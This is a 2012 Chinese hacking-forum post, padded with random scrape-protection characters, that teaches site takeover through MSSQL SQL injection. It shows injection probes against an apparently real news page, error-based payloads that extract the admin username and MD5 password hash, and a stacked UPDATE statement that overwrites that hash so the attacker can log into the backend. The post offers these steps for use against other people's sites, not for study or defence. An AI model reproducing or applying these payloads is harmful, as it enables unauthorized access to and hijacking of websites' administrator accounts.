经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。3 i3 M- c x7 s4 y0 |- l2 R& r! I
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
9 R; T9 n. Z# N& {. _3 w0 P测试如下：
. x$ Y v1 U, F9 }# G- P" o" I' Nhttp://www.tmdsb.com/news.asp?id=1218 a+ I7 g6 D% N
在地址后输入单引号，显示
) t4 e6 `7 O, U$ a6 ^Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’3 V& {! b* C1 Z5 j9 t
字符串 ’’’ 之前有未闭合的引号
6 B4 q' m+ @& y n3 ~, `, G/news/tmdws.asp，行63
! |" F) g: x5 q( |说明没有过滤单引号且数据库是MSSQL.' R% r" P: N5 x; `$ d6 h' I
and 1=1正常。and 1=2出错。肯定存在注入
8 h# C; U4 I5 j$ k: |3 {接着输入# W! Y( v' ]4 t' \
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
, w* Y) C R5 T8 A( Z得到帐号为:admin; q/ t4 d" h1 O8 ~
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)8 m* g- m- c1 r L& U5 x/ }
得到密码为:a4716077c2ba075c
* V5 s a. h! u3 L4 j接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
) D- H+ v) q! Y" a# U/ O! Q命令如下 :
) \) ?; G) v. c9 h1 \. e' ]$ r;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
[# B- U9 B$ j$ E7 a这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41